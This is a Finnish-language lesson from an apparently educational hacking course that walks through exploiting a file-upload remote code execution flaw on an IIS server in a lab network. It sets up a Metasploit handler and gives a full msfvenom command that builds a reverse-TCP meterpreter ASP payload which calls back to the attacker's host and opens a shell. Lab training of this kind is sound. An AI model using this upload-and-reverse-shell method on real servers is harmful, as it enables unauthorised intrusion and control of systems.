## RCE (Remote Code Execution) haavoittuvuus portaalissa

Tutustutaan IIS-palvelimella pyörivään web-palveluun tarkemmin. Avaa Firefox-selain ja mene osoitteeseen http://10.0.0.3 (tai http://iis1.evilcorp.local).

![](sanity:image-2fe39cb9e7b2ad9ea965a401759c2f5a48613427-1524x700-png)

Kokeile ladata tiedosto portaaliin.

![](sanity:image-d6cac72a5667dff37764f9bf3f8d279d8b654229-484x114-png)

![](sanity:image-e0792369f236255030a7195098712cb672207395-662x228-png)

Klikkaa sitten "Tarkista ladattuja hakemuksiasi".

![](sanity:image-9593f59b7f639841498a6536f7b72f1c3d691d1d-1154x404-png)

Tämä vaikuttaa erittäin turvattomalta, sovellus lataa tiedostot suoraan web-juureen. Kokeillaan ladata ASP-tiedosto joka suorittaa koodia.

```html
<%
Response.Write("Hello World!")
%>
```

![](sanity:image-1c423fa155291cfbf68e5a5e082e60e0688e7a5a-1340x670-png)

![](sanity:image-7387bcc0c410edede086de18cccc1f9d7a359ef3-532x112-png)

![](sanity:image-4290d367e4fe108b4943df4713e8fbbafeb50566-1100x324-png)

Avaa tiedosto selaimessa ja vahvista haavoittuvuus - ASP-koodi suoritetaan palvelimella.

![](sanity:image-84a4282d0360eb1a9243eaf9a2282306165024e9-1062x160-png)

---

## Metasploit kuuntelija

Käynnistä nyt Metasploit-konsoli (msfconsole) ja ota käyttöön yleinen kuuntelija exploit/multi/handler. Aseta payloadiksi windows/meterpreter/reverse\_tcp, lhostiksi 10.0.0.100 (Kali koneesi IP) sekä lportiksi vaikka 1234 (millä portilla kuuntelijasi odottaa yhteyksiä).

Jos et ole vielä tehnyt Hakatemian Metasploit-kurssia (voi olla ettei sitä ole julkaistu vielä kun luet tätä), niin tässä lyhyesti mitä ollaan tekemässä: 

- **Metasploit** on avoimen lähdekoodin murtotestaustyökalu.
- **Meterpreter** on metasploitin monikäyttöinen agentti joka ajetaan kohdekoneella.
- **exploit/multi/handler** on Metasploitin moduuli joka ottaa vastaan yhteyksiä hyökkäyksen onnistuessa ja avaa esimerkiksi meterpreter yhteyden kohdekoneeseen.
- **payload=windows/meterpreter/reverse\_tcp** tarkoittaa Meterpreter-payloadia Windows-käyttöjärjestelmälle joka tarjoillaan TCP-yhteyden yli.
- **lhost=10.0.0.100** määrittää Metasploit kuuntelijan IP-osoitteen.
- **lport=1234 **määrittää Metasploit kuuntelijan TCP-portin. 

![](sanity:image-53efd88f6009e61ca26141ab5ba6edfd7ad69def-1382x828-png)

![](sanity:image-79c4854d2c097b4476d10e25ba14989f5e5d3283-1838x554-png)

---

## msfvenom

Luo nyt msfvenom -työkalulla ASP-tiedosto joka ottaa suoriutuessaan yhteyden Metapsloit-kuuntelijaasi. Ajat vain msfvenom-komennon toisessa terminaalissa ja annat sille täsmälleen samat asetukset kuin Metasploitin kuuntelijassa.

- -p windows/meterpreter/reverse\_tcp
- lhost=10.0.0.100
- lport=1234

Lisäksi määrität että luotu ASP-tiedosto tallennetaan tiedostoon evil.asp ja että formatti on ASP.

- -f asp
- -o evil.asp

```sh
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.100 lport=1234 -f asp -o evil.asp
```

![](sanity:image-7af419570017adb31b4fbcf301189589c2ecced4-2336x436-png)

Luotu tiedosto on aika veikeän näköinen.

![](sanity:image-9064c3103eefff4ddc7d87eff6b795f711066e5b-1226x628-png)

---

## Hyökkäys

Nyt vain uploadaat "evil.asp" tiedoston ja suoritat sen kuten "test.asp" tiedoston aiemmin.

Sinun pitäisi nähdä, että meterpreter-sessio aukeaa kuuntelijassa.

![](sanity:image-ec62fdc946ffc727c812e34600b840a96b8a265a-2124x884-png)

Voit kokeilla vaikka "sysinfo" komennolla tarkastella että minkälaiseen palvelimeen murtauduit.

![](sanity:image-79fcb045c9d7dea6c09aec1042e6d6817c6401bc-1292x440-png)

Tai jos haluat tavallisen Windows komentorivin käyttöösi, aja komento "shell". Pääset takaisin komennolla "exit".

![](sanity:image-9095ad9a749a8dff0877e4eb6596f3a8f79c66c5-1356x646-png)

---

## Harjoitukset

@exercise f1c138bcba59

@exercise f1d031b1f52b


Tämä on skenaario, älä turhaan sulje sitä saman kurssialueen (Skenaario 1) sisällä ettet menetä edistymistäsi. Lisääthän aikaa tarvittaessa. Skenaariolla voi kestää jokunen minuutti käynnistyä, odotathan kärsivällisesti.

Evilcorp - Skenaario 1

IIS-palvelimelle murtautuminen, Metasploit

Windows ja Active Directory hyökkäykset sekä puolustus

Windows on laajalti käytössä lukuisien yritysten ja oppilaitosten IT-ympäristössä, ja Windows-verkkoja hallitaan tyypillisesti Active Directory -toimialueen avulla.

Tällä kurssilla tutustumme Windows-käyttöjärjestelmän ja Active Directoryn turvallisuuteen sekä hyökkääjän että puolustajan näkökulmasta. Osa tehtävistä on siis hyökkäyksiä ja osa on kovennustehtäviä.

Kurssin alue (Windows, hyökkäys ja puolustus) on aika laaja. Jos sitä lähtisi opiskelemaan teoria edellä, kurssista tulisi tylsä. Jos taas teoriaa ei ole ollenkaan, ei ole hakkerointiakaan, koska sekä hyökkäys että puolustus perustuu ymmärrykseen siitä mitä tapahtuu.

Valitsimme näistä syistä kurssin toteutustavaksi skenaario-pohjaisen lähestymistavan, jossa yhdessä kurssin osiossa käsitellään aina yksi "skenaario" johon saattaa kuulua jokunen hyökkäys, jokunen työkalu ja jokunen kovennus jolla hyökkäykseltä voidaan suojautua.

Pyritään oikeasti ymmärtämään asiat

Teoria käydään läpi pieninä palasina käytännön yhteydessä, aina vasta kun se on välttämätöntä. Asiat koitetaan ymmärtää bittitasolla, jotta voidaan välttää tällaisille kursseille valitettavan tyypillistä ilmiötä jossa oppilas tietää kokeilla psexec-hyökkäystä NTLM-tiivisteen haltuun saatuaan, mutta ei lainkaan ymmärrä mitä hyökkäys tekee ja miten se toimii (spoileri: psexec perustuu Service Control Manager RPC-rajapintaan jolla käynnistetään haluttu komento Windows-palveluna kohdepalvelimella). Kurkitaan pellin alle Wiresharkilla ja esimerkiksi Metasploitin moduulien lähdekoodia kaivamalla.

Tällä tavalla laajasta ja teoriantäyteisestä aiheesta tulee toivottavasti hauska ja helposti askel askelelta lähestyttävä.

Oletko valmis murtautumaan EvilCorpin yritysverkkoon?

Kurssi ei edellytä osaamista Windows-ympäristöistä, mutta muuten perusjutut kuten Linux, tietoverkot, nmap jne. olisi hyvä olla vyön alla.Tervetuloa kurssille!

Tämä kurssi on vielä rakenteilla, skenaarioita tulee lisää.

Tämä kurssi on BETA-tilassa, kerrothan jos havaitset vinoon jääneitä bittejä.

IIS-palvelimelle murtautuminen, Metasploit

Hakkeroinnin oppiminen alkaa tästä